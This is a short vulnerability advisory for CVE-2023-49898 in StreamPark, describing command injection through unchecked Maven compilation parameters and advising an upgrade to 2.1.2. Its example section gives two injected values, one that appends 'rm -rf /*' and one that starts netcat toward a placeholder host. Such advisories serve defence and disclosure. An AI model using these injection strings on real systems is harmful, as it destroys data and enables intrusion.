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Vulnerability CVE-2023-49898
Published: 2023-12-15
| Description: |
In streampark, there is a project module that integrates Maven's compilation capability. However, there is no check on the compilation parameters of Maven. allowing attackers to insert commands for remote command execution, The prerequisite for a successful attack is that the user needs to log in to the streampark system and have system-level permissions. Generally, only users of that system have the authorization to log in, and users would not manually input a dangerous operation command. Therefore, the risk level of this vulnerability is very low.
Mitigation:
all users should upgrade to 2.1.2
Example:
##You can customize the splicing method according to the compilation situation of the project, mvn compilation results use &&, compilation failure use "||" or "&&":
/usr/share/java/maven-3/conf/settings.xml || rm -rf /*
/usr/share/java/maven-3/conf/settings.xml && nohup nc x.x.x.x 8899 &
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Type:
CWE-77 (Improper Neutralization of Special Elements used in a Command ('Command Injection'))
References: |
https://lists.apache.org/thread/qj99c03r4td35f8gbxq084b8qmv2fyr3
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